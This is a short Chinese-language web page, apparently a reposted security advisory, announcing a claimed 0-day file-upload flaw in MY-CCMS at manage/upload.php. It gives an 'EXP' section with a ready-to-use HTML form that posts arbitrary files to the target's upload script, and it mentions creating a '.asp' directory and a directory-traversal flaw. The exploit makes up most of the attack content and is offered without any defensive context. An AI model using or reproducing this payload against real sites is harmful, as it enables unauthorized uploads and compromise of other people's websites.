MY-CCMS All Ver File Upload 0day - 网站安全 - 自学php

  漏洞 位于：manage/upload.php    （代码省） 下载 (22.49 KB) 4 小时前

也可以新建“. asp ”目录，还有跳目录漏洞等

EXP：

<form id="frmUpload" enctype="multipart/form-data" action=" http://chemlg测试数据/manage/upload.php " method="post">上传除了php以外的文件于根目录:<br> <input type="file" name="Filedata" size="50"><br> <input id="Filedata" type="submit" value="Upload"> </form>

首发：俺是农村的 tools

查看更多关于MY-CCMS All Ver File Upload 0day - 网站安全 - 自学php的详细内容...